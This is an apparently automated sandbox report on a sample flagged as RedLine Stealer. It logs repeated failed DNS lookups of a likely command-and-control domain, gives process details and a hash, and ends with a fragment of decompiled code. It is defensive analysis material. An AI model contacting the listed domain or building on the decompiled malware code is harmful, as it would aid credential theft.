                                      Apr 29, 2021 09:37:09.858259916 CEST192.168.2.58.8.8.80x5652Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:10.972268105 CEST192.168.2.58.8.8.80x9b4fStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:12.060050964 CEST192.168.2.58.8.8.80xcbaaStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:13.156163931 CEST192.168.2.58.8.8.80x5bcdStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:14.218056917 CEST192.168.2.58.8.8.80x750eStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:15.281007051 CEST192.168.2.58.8.8.80x14adStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:16.343281984 CEST192.168.2.58.8.8.80x44e1Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:17.421150923 CEST192.168.2.58.8.8.80xfc13Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:18.503036022 CEST192.168.2.58.8.8.80x2f6cStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:19.576890945 CEST192.168.2.58.8.8.80x3329Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:20.653213024 CEST192.168.2.58.8.8.80x9befStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:21.734050989 CEST192.168.2.58.8.8.80x8361Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:22.811992884 CEST192.168.2.58.8.8.80x48abStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:23.872435093 CEST192.168.2.58.8.8.80xb047Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:24.950942993 CEST192.168.2.58.8.8.80x8c5bStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:26.283773899 CEST192.168.2.58.8.8.80x392Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:27.367322922 CEST192.168.2.58.8.8.80x730eStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:29.264879942 CEST192.168.2.58.8.8.80xa4c5Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:30.328706026 CEST192.168.2.58.8.8.80xdd90Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:31.388675928 CEST192.168.2.58.8.8.80x2066Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:32.454027891 CEST192.168.2.58.8.8.80x2bedStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:33.533271074 CEST192.168.2.58.8.8.80x70d5Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:34.609956980 CEST192.168.2.58.8.8.80x15e6Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:35.701538086 CEST192.168.2.58.8.8.80x27b2Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:36.765933990 CEST192.168.2.58.8.8.80x9890Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:37.829710960 CEST192.168.2.58.8.8.80xe2a7Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:38.909440041 CEST192.168.2.58.8.8.80x275fStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:39.968091965 CEST192.168.2.58.8.8.80x341eStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:41.077944994 CEST192.168.2.58.8.8.80x2545Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:42.141897917 CEST192.168.2.58.8.8.80xd2f9Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:43.204859972 CEST192.168.2.58.8.8.80x4c82Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:44.287538052 CEST192.168.2.58.8.8.80x8f7Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:45.359333992 CEST192.168.2.58.8.8.80xdd94Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:46.429312944 CEST192.168.2.58.8.8.80x7d27Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:47.500066996 CEST192.168.2.58.8.8.80xeb95Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:48.570590019 CEST192.168.2.58.8.8.80xb0eStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:49.666399956 CEST192.168.2.58.8.8.80xa1f6Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:50.737039089 CEST192.168.2.58.8.8.80x8443Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:51.799034119 CEST192.168.2.58.8.8.80x3650Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:52.884354115 CEST192.168.2.58.8.8.80x146dStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:53.955312014 CEST192.168.2.58.8.8.80x3fd7Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:55.034225941 CEST192.168.2.58.8.8.80xf49Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:56.171680927 CEST192.168.2.58.8.8.80x1a8cStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:57.234450102 CEST192.168.2.58.8.8.80x9477Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:58.300098896 CEST192.168.2.58.8.8.80x57caStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:59.382193089 CEST192.168.2.58.8.8.80x9a08Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:00.453543901 CEST192.168.2.58.8.8.80x6dacStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:01.523121119 CEST192.168.2.58.8.8.80xdb4bStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:02.601742983 CEST192.168.2.58.8.8.80xacdStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:03.679702044 CEST192.168.2.58.8.8.80x67a3Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:04.751127958 CEST192.168.2.58.8.8.80xdebbStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:05.830193043 CEST192.168.2.58.8.8.80x7fb4Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:06.894558907 CEST192.168.2.58.8.8.80xd0fbStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:07.971875906 CEST192.168.2.58.8.8.80xd771Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:09.054613113 CEST192.168.2.58.8.8.80x5591Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:10.143424034 CEST192.168.2.58.8.8.80xbc39Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:11.246550083 CEST192.168.2.58.8.8.80x1f13Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:12.314327955 CEST192.168.2.58.8.8.80xd52cStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:13.382867098 CEST192.168.2.58.8.8.80xc8eeStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:14.465912104 CEST192.168.2.58.8.8.80xa2f7Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:15.535269976 CEST192.168.2.58.8.8.80x21deStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:16.597927094 CEST192.168.2.58.8.8.80xf805Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:17.746831894 CEST192.168.2.58.8.8.80xdcc7Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:19.348176003 CEST192.168.2.58.8.8.80x6dd8Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:20.427498102 CEST192.168.2.58.8.8.80x746eStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:21.488270044 CEST192.168.2.58.8.8.80x4a5cStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:22.556349993 CEST192.168.2.58.8.8.80xcc8cStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:23.634371042 CEST192.168.2.58.8.8.80xd136Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:24.706573009 CEST192.168.2.58.8.8.80xafeeStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:25.802284002 CEST192.168.2.58.8.8.80x3c0bStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:26.880825996 CEST192.168.2.58.8.8.80xfde3Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:27.936113119 CEST192.168.2.58.8.8.80x3249Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:28.999044895 CEST192.168.2.58.8.8.80x6c35Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:30.064757109 CEST192.168.2.58.8.8.80x4a25Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:31.123653889 CEST192.168.2.58.8.8.80x2a87Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:32.186258078 CEST192.168.2.58.8.8.80x47a0Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)

                                      DNS Answers

                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                      Apr 29, 2021 09:36:40.696099997 CEST8.8.8.8192.168.2.50x54d6Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:41.977837086 CEST8.8.8.8192.168.2.50x4cb1Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:43.056457043 CEST8.8.8.8192.168.2.50x11d4Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:44.137850046 CEST8.8.8.8192.168.2.50x9131Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:45.218120098 CEST8.8.8.8192.168.2.50x5e12Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:46.282701015 CEST8.8.8.8192.168.2.50xbda7Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:47.353504896 CEST8.8.8.8192.168.2.50x10d1Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:48.429337025 CEST8.8.8.8192.168.2.50xa2d4Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:49.511034966 CEST8.8.8.8192.168.2.50xd9d3Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:50.577120066 CEST8.8.8.8192.168.2.50x3516Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:51.648607969 CEST8.8.8.8192.168.2.50xa387Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:52.728991032 CEST8.8.8.8192.168.2.50x866bName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:53.808140039 CEST8.8.8.8192.168.2.50xf68Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:54.883788109 CEST8.8.8.8192.168.2.50x5129Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:56.008039951 CEST8.8.8.8192.168.2.50x8c46Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:57.079885960 CEST8.8.8.8192.168.2.50x3847Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:58.142530918 CEST8.8.8.8192.168.2.50x8499Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:59.203886032 CEST8.8.8.8192.168.2.50x9088Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:00.281080008 CEST8.8.8.8192.168.2.50xdbd7Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:01.347467899 CEST8.8.8.8192.168.2.50x6cc3Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:02.425292969 CEST8.8.8.8192.168.2.50xd576Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:03.514009953 CEST8.8.8.8192.168.2.50x52d2Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:04.577481985 CEST8.8.8.8192.168.2.50xf27aName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:05.638453007 CEST8.8.8.8192.168.2.50x1d75Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:06.704515934 CEST8.8.8.8192.168.2.50x1613Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:07.766802073 CEST8.8.8.8192.168.2.50x4cbdName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:08.841676950 CEST8.8.8.8192.168.2.50x8eefName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:09.920234919 CEST8.8.8.8192.168.2.50x5652Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:11.034277916 CEST8.8.8.8192.168.2.50x9b4fName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:12.117002010 CEST8.8.8.8192.168.2.50xcbaaName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:13.205365896 CEST8.8.8.8192.168.2.50x5bcdName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:14.266755104 CEST8.8.8.8192.168.2.50x750eName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:15.329826117 CEST8.8.8.8192.168.2.50x14adName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:16.400477886 CEST8.8.8.8192.168.2.50x44e1Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:17.473615885 CEST8.8.8.8192.168.2.50xfc13Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:18.551865101 CEST8.8.8.8192.168.2.50x2f6cName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:19.637216091 CEST8.8.8.8192.168.2.50x3329Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:20.716054916 CEST8.8.8.8192.168.2.50x9befName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:21.787277937 CEST8.8.8.8192.168.2.50x8361Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:22.860687971 CEST8.8.8.8192.168.2.50x48abName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:23.935782909 CEST8.8.8.8192.168.2.50xb047Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:24.999854088 CEST8.8.8.8192.168.2.50x8c5bName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:26.335926056 CEST8.8.8.8192.168.2.50x392Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:27.416110992 CEST8.8.8.8192.168.2.50x730eName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:29.313549042 CEST8.8.8.8192.168.2.50xa4c5Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:30.377540112 CEST8.8.8.8192.168.2.50xdd90Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:31.437453032 CEST8.8.8.8192.168.2.50x2066Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:32.502860069 CEST8.8.8.8192.168.2.50x2bedName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:33.595529079 CEST8.8.8.8192.168.2.50x70d5Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:34.671885967 CEST8.8.8.8192.168.2.50x15e6Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:35.750441074 CEST8.8.8.8192.168.2.50x27b2Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:36.814707041 CEST8.8.8.8192.168.2.50x9890Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:37.889035940 CEST8.8.8.8192.168.2.50xe2a7Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:38.958317995 CEST8.8.8.8192.168.2.50x275fName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:40.019736052 CEST8.8.8.8192.168.2.50x341eName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:41.126734018 CEST8.8.8.8192.168.2.50x2545Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:42.190783978 CEST8.8.8.8192.168.2.50xd2f9Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:43.262434959 CEST8.8.8.8192.168.2.50x4c82Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:44.336582899 CEST8.8.8.8192.168.2.50x8f7Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:45.410193920 CEST8.8.8.8192.168.2.50xdd94Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:46.480979919 CEST8.8.8.8192.168.2.50x7d27Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:47.548886061 CEST8.8.8.8192.168.2.50xeb95Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:48.638433933 CEST8.8.8.8192.168.2.50xb0eName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:49.715212107 CEST8.8.8.8192.168.2.50xa1f6Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:50.785711050 CEST8.8.8.8192.168.2.50x8443Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:51.850562096 CEST8.8.8.8192.168.2.50x3650Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:52.933252096 CEST8.8.8.8192.168.2.50x146dName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:54.006902933 CEST8.8.8.8192.168.2.50x3fd7Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:55.083106995 CEST8.8.8.8192.168.2.50xf49Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:56.220948935 CEST8.8.8.8192.168.2.50x1a8cName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:57.283407927 CEST8.8.8.8192.168.2.50x9477Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:58.362298965 CEST8.8.8.8192.168.2.50x57caName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:59.431893110 CEST8.8.8.8192.168.2.50x9a08Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:00.502186060 CEST8.8.8.8192.168.2.50x6dacName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:01.583367109 CEST8.8.8.8192.168.2.50xdb4bName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:02.653369904 CEST8.8.8.8192.168.2.50xacdName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:03.731318951 CEST8.8.8.8192.168.2.50x67a3Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:04.813162088 CEST8.8.8.8192.168.2.50xdebbName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:05.881654024 CEST8.8.8.8192.168.2.50x7fb4Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:06.958498955 CEST8.8.8.8192.168.2.50xd0fbName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:08.023605108 CEST8.8.8.8192.168.2.50xd771Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:09.106296062 CEST8.8.8.8192.168.2.50x5591Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:10.195126057 CEST8.8.8.8192.168.2.50xbc39Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:11.295403957 CEST8.8.8.8192.168.2.50x1f13Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:12.363383055 CEST8.8.8.8192.168.2.50xd52cName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:13.434422970 CEST8.8.8.8192.168.2.50xc8eeName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:14.517735004 CEST8.8.8.8192.168.2.50xa2f7Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:15.584081888 CEST8.8.8.8192.168.2.50x21deName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:16.655867100 CEST8.8.8.8192.168.2.50xf805Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:17.798640966 CEST8.8.8.8192.168.2.50xdcc7Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:19.399764061 CEST8.8.8.8192.168.2.50x6dd8Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:20.476300955 CEST8.8.8.8192.168.2.50x746eName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:21.537230015 CEST8.8.8.8192.168.2.50x4a5cName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:22.605225086 CEST8.8.8.8192.168.2.50xcc8cName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:23.683135033 CEST8.8.8.8192.168.2.50xd136Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:24.755409956 CEST8.8.8.8192.168.2.50xafeeName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:25.851155996 CEST8.8.8.8192.168.2.50x3c0bName error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:26.932420015 CEST8.8.8.8192.168.2.50xfde3Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:27.993590117 CEST8.8.8.8192.168.2.50x3249Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:29.050687075 CEST8.8.8.8192.168.2.50x6c35Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:30.116643906 CEST8.8.8.8192.168.2.50x4a25Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:31.173271894 CEST8.8.8.8192.168.2.50x2a87Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:38:32.237885952 CEST8.8.8.8192.168.2.50x47a0Name error (3)bumblebee2021.storenonenoneA (IP address)IN (0x0001)

                                      Code Manipulations

                                      Statistics

                                      CPU Usage

                                      Click to jump to process

                                      Memory Usage

                                      Click to jump to process

                                      High Level Behavior Distribution

                                      Click to dive into process behavior distribution

                                      System Behavior

                                      Analysis Process: kMroyG6lXZ.exe PID: 4944 Parent PID: 5652

                                      General

                                      Start time:09:36:21
                                      Start date:29/04/2021
                                      Path:C:\Users\user\Desktop\kMroyG6lXZ.exe
                                      Wow64 process (32bit):true
                                      Commandline:'C:\Users\user\Desktop\kMroyG6lXZ.exe'
                                      Imagebase:0x400000
                                      File size:278016 bytes
                                      MD5 hash:9CE4C8A45C002BB230764B42B9211086
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:.Net C# or VB.NET
                                      Yara matches:
                                      • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmp, Author: Joe Security
                                      • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.224645228.0000000000724000.00000004.00000001.sdmp, Author: Joe Security
                                      • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.490498068.00000000023B0000.00000004.00000001.sdmp, Author: Joe Security
                                      • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.491643531.0000000003505000.00000004.00000001.sdmp, Author: Joe Security
                                      • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.490137711.0000000002170000.00000004.00000001.sdmp, Author: Joe Security
                                      Reputation:low

                                      Chronological Activities

                                      Disassembly

                                      Code Analysis

                                      Reset < >

                                        Analysis Process: kMroyG6lXZ.exe PID: 4944 Parent PID: 5652 kMroyG6lXZ.exeCOMMON

                                        Executed Functions

                                        Function 004019F0, Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747comprocessCOMMON
                                        Download Yara Rule
                                        C-Code - Quality: 77%
                                        			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
